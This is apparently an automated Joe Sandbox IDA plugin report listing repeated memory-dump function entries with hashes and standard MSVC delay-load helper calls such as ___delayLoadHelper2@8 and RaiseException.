Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 14e354f31a348c573ef57aaeca33394f6f65b78b724987dc8a0e9b92e148ba23
Instruction ID: c0ddf8673e2c2cb2a60dcd4c42b33ae22b72cd3f096b26c5b04c7f59f384384d
Opcode Fuzzy Hash: 14e354f31a348c573ef57aaeca33394f6f65b78b724987dc8a0e9b92e148ba23
Instruction Fuzzy Hash: C8A001AA6A9123BD368AA2617D27D7A02BCC4D4B65334893EF50288581A9802C8665B1

Uniqueness

Uniqueness Score: -1.00%

Function 0032F3F5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F33D

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 70a1d0b7057bc9fa7b84e0ddc99eace76eb4bfa6bc827222f9bbc2e94296c679
Instruction ID: c0ddf8673e2c2cb2a60dcd4c42b33ae22b72cd3f096b26c5b04c7f59f384384d
Opcode Fuzzy Hash: 70a1d0b7057bc9fa7b84e0ddc99eace76eb4bfa6bc827222f9bbc2e94296c679
Instruction Fuzzy Hash: C8A001AA6A9123BD368AA2617D27D7A02BCC4D4B65334893EF50288581A9802C8665B1

Uniqueness

Uniqueness Score: -1.00%

Function 0032F3FF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F33D

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 99f13127c77671b990ad214c1b9a06ec398f2d0bfc7b9ffac260b0fe6c7b1580
Instruction ID: c0ddf8673e2c2cb2a60dcd4c42b33ae22b72cd3f096b26c5b04c7f59f384384d
Opcode Fuzzy Hash: 99f13127c77671b990ad214c1b9a06ec398f2d0bfc7b9ffac260b0fe6c7b1580
Instruction Fuzzy Hash: C8A001AA6A9123BD368AA2617D27D7A02BCC4D4B65334893EF50288581A9802C8665B1

Uniqueness

Uniqueness Score: -1.00%

Function 0032F3EB Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F33D

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 181adfd4ff33e6a2b18b58122fd5b9efb0379beac7e465c6f915233a850a97d7
Instruction ID: c0ddf8673e2c2cb2a60dcd4c42b33ae22b72cd3f096b26c5b04c7f59f384384d
Opcode Fuzzy Hash: 181adfd4ff33e6a2b18b58122fd5b9efb0379beac7e465c6f915233a850a97d7
Instruction Fuzzy Hash: C8A001AA6A9123BD368AA2617D27D7A02BCC4D4B65334893EF50288581A9802C8665B1

Uniqueness

Uniqueness Score: -1.00%

Function 0032F3D7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F33D

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0b7479091f3c9279baad13e1e992b561060fb4c82413ffc3586aebf6e358ec64
Instruction ID: c0ddf8673e2c2cb2a60dcd4c42b33ae22b72cd3f096b26c5b04c7f59f384384d
Opcode Fuzzy Hash: 0b7479091f3c9279baad13e1e992b561060fb4c82413ffc3586aebf6e358ec64
Instruction Fuzzy Hash: C8A001AA6A9123BD368AA2617D27D7A02BCC4D4B65334893EF50288581A9802C8665B1

Uniqueness

Uniqueness Score: -1.00%

Function 0032F431 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F33D

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 189691701d701728625afa356ec7d9ae8f72a5187ec3608a12788435fc69a707
Instruction ID: c0ddf8673e2c2cb2a60dcd4c42b33ae22b72cd3f096b26c5b04c7f59f384384d
Opcode Fuzzy Hash: 189691701d701728625afa356ec7d9ae8f72a5187ec3608a12788435fc69a707
Instruction Fuzzy Hash: C8A001AA6A9123BD368AA2617D27D7A02BCC4D4B65334893EF50288581A9802C8665B1

Uniqueness

Uniqueness Score: -1.00%

Function 0032F427 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F33D

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f4ceabae29c297faa49c488263468c3bd449aacf874b7ffa536bf66183134e28
Instruction ID: c0ddf8673e2c2cb2a60dcd4c42b33ae22b72cd3f096b26c5b04c7f59f384384d
Opcode Fuzzy Hash: f4ceabae29c297faa49c488263468c3bd449aacf874b7ffa536bf66183134e28
Instruction Fuzzy Hash: C8A001AA6A9123BD368AA2617D27D7A02BCC4D4B65334893EF50288581A9802C8665B1

Uniqueness

Uniqueness Score: -1.00%

Function 0032F413 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F33D

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9add70e7793982fccd48eb6848334d294a71342bcd4ce3f71f308840a7d65296
Instruction ID: c0ddf8673e2c2cb2a60dcd4c42b33ae22b72cd3f096b26c5b04c7f59f384384d
Opcode Fuzzy Hash: 9add70e7793982fccd48eb6848334d294a71342bcd4ce3f71f308840a7d65296
Instruction Fuzzy Hash: C8A001AA6A9123BD368AA2617D27D7A02BCC4D4B65334893EF50288581A9802C8665B1

Uniqueness

Uniqueness Score: -1.00%

Function 0032F41D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F33D

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e96ee55911f15e6e3fb30795f728606891a909039fd9faece371db8e7b89d028
Instruction ID: c0ddf8673e2c2cb2a60dcd4c42b33ae22b72cd3f096b26c5b04c7f59f384384d
Opcode Fuzzy Hash: e96ee55911f15e6e3fb30795f728606891a909039fd9faece371db8e7b89d028
Instruction Fuzzy Hash: C8A001AA6A9123BD368AA2617D27D7A02BCC4D4B65334893EF50288581A9802C8665B1

Uniqueness

Uniqueness Score: -1.00%

Function 0032F409 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F33D

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e9be8be63629058cf69e6694d20835ba5a8142d2a913b749e5e72b302c7b4468
Instruction ID: c0ddf8673e2c2cb2a60dcd4c42b33ae22b72cd3f096b26c5b04c7f59f384384d
Opcode Fuzzy Hash: e9be8be63629058cf69e6694d20835ba5a8142d2a913b749e5e72b302c7b4468
Instruction Fuzzy Hash: C8A001AA6A9123BD368AA2617D27D7A02BCC4D4B65334893EF50288581A9802C8665B1

Uniqueness

Uniqueness Score: -1.00%

Function 0032F564 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F556

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 68412345ee1ee3b316534e33f8dc6998dd6299dc3de55e677368bb04fc38c8e9
Instruction ID: c93a7bc19ea5eb4554313be5510aa29ed2c2bfb38b7d887fb0d08b5fe78402b1
Opcode Fuzzy Hash: 68412345ee1ee3b316534e33f8dc6998dd6299dc3de55e677368bb04fc38c8e9
Instruction Fuzzy Hash: A9A001E66A9522BE320A6A627D27D7B126CC4D9BA5330893AF44289481AA806C851071

Uniqueness

Uniqueness Score: -1.00%

Function 0032F56E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F556

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 55df61b9515e6b4e78fe7a63e289f9ec680f3e9ee35788914c03dcb256c9b3d5
Instruction ID: c93a7bc19ea5eb4554313be5510aa29ed2c2bfb38b7d887fb0d08b5fe78402b1
Opcode Fuzzy Hash: 55df61b9515e6b4e78fe7a63e289f9ec680f3e9ee35788914c03dcb256c9b3d5
Instruction Fuzzy Hash: A9A001E66A9522BE320A6A627D27D7B126CC4D9BA5330893AF44289481AA806C851071

Uniqueness

Uniqueness Score: -1.00%

Function 0032F549 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F556

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d7084ead02764c2abd495823a4bef8fdb26de1f6a6c2a790f44e8e255984d147
Instruction ID: a24cc84b42b2ba283859e60e2ad8f11ead88c309bce5db712a1fde1b2c3280bb
Opcode Fuzzy Hash: d7084ead02764c2abd495823a4bef8fdb26de1f6a6c2a790f44e8e255984d147
Instruction Fuzzy Hash: 87A011E22A80203E320A2A223E23C3B022CC0C0B20330803AF00088080AA802C800030

Uniqueness

Uniqueness Score: -1.00%

Function 0032F5A0 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F556

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0118e9a7469e45cd79745617c6f592fead8441addc708da2c1af03790b7a47fe
Instruction ID: c93a7bc19ea5eb4554313be5510aa29ed2c2bfb38b7d887fb0d08b5fe78402b1
Opcode Fuzzy Hash: 0118e9a7469e45cd79745617c6f592fead8441addc708da2c1af03790b7a47fe
Instruction Fuzzy Hash: A9A001E66A9522BE320A6A627D27D7B126CC4D9BA5330893AF44289481AA806C851071

Uniqueness

Uniqueness Score: -1.00%

Function 0032F596 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F556

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3ec4f82acc302384325de47bb38dff2db20d52561c55a63a876d79e41fc7dee2
Instruction ID: c93a7bc19ea5eb4554313be5510aa29ed2c2bfb38b7d887fb0d08b5fe78402b1
Opcode Fuzzy Hash: 3ec4f82acc302384325de47bb38dff2db20d52561c55a63a876d79e41fc7dee2
Instruction Fuzzy Hash: A9A001E66A9522BE320A6A627D27D7B126CC4D9BA5330893AF44289481AA806C851071

Uniqueness

Uniqueness Score: -1.00%

Function 0032F58C Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F556

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7f7adcf75fd6aaa545158a89d0b338f56b9338d762db31c0d036f5e02bec696d
Instruction ID: c93a7bc19ea5eb4554313be5510aa29ed2c2bfb38b7d887fb0d08b5fe78402b1
Opcode Fuzzy Hash: 7f7adcf75fd6aaa545158a89d0b338f56b9338d762db31c0d036f5e02bec696d
Instruction Fuzzy Hash: A9A001E66A9522BE320A6A627D27D7B126CC4D9BA5330893AF44289481AA806C851071

Uniqueness

Uniqueness Score: -1.00%

Function 0032F6F5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F6AB

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5fdcd8bed10f221f4ac3038d4d9b4b0753e907673d578ec6976a5cce54be956d
Instruction ID: 88c78bbdd7ef98d0d6d1a2eac7df86ba312afc1f9b50cff7bfe58313bddd59f9
Opcode Fuzzy Hash: 5fdcd8bed10f221f4ac3038d4d9b4b0753e907673d578ec6976a5cce54be956d
Instruction Fuzzy Hash: 8CA001A66B9122BD320A62617D27D7A026CC4D8B693348A3AF40298495A9812C851571

Uniqueness

Uniqueness Score: -1.00%

Function 0032F6FF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F70C

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
